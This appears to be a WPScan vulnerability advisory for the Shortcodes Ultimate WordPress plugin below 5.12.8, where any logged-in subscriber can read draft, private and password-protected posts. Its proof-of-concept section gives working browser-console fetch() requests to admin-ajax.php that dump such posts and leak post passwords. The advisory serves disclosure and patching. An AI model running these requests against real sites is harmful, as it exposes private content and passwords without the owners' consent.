WordPress Plugin Vulnerabilities
Shortcodes Ultimate < 5.12.8 - Subscriber+ Arbitrary Post Access
Description
The plugin does not ensure that posts to be displayed via some shortcodes are already public and can be accessed by the user making the request, allowing any authenticated users such as subscriber to view draft, private or even password protected posts. It is also possible to leak the password of protected posts
Proof of Concept
Run one of the below command in the developer console of the web browser while being on the blog as a subscriber Via su_post shortcode: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode=[su_post field='the_content' post_id='14']", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); This will display the content of the post with ID 14 (such as a draft/private/password protected one) To leak the password of a protected post: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode=[su_post field='post_password' post_id='20']", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); Via su_posts shortcode: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='private']", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); This will display all private posts and their content (pwd protected content won't be displayed here though) fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='any' id='14,20']", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); This will display the posts with id 14 and 20 along with their and their content (pwd protected content won't be displayed)
Affects Plugins
References
CVE
Classification
Type
SENSITIVE DATA DISCLOSURE
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-02-27 (about 1 years ago)
Added
2023-02-27 (about 1 years ago)
Last Updated
2023-02-27 (about 1 years ago)